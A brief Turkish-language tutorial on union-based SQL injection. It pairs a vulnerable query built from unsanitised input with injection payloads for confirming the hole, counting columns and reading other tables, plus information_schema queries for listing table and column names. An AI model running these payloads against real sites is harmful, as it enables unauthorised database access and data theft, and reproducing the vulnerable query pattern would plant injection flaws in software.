Union SQL injection

SQL injection açığı bulunan bir sitede , union komutu kullanılarak, diğer tablolardanda bilgi alma biçimidir.

sunucu tarafından şöyle bir açık olduğu varsayılsın

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

bu durumda

' OR true #

ile sql injection olduğundan emin olunur.

' UNION SELECT * FROM diger_tablo #

ile diğer tablolara erişibilir.

Fakat şöyle bir sorun çıkabilir : Tabloların kolon sayıların eşit olmaması.

' OR true UNION SELECT 1,2,3 #

Biçiminde tek tek deneyerek, mevcut tablonun kolon sayısını elde edebilirsiniz.

Not

Eğer tablo isimlerini ve kolonlarını öğrenmek isterseniz. Aşağıdaki sorgularla aynı yöntemi deneyebilirsiniz

select * from information_schema.`TABLES`
select TABLE_NAME from information_schema.`TABLES` 
select TABLE_NAME,COLUMN_NAME from information_schema.`COLUMNS`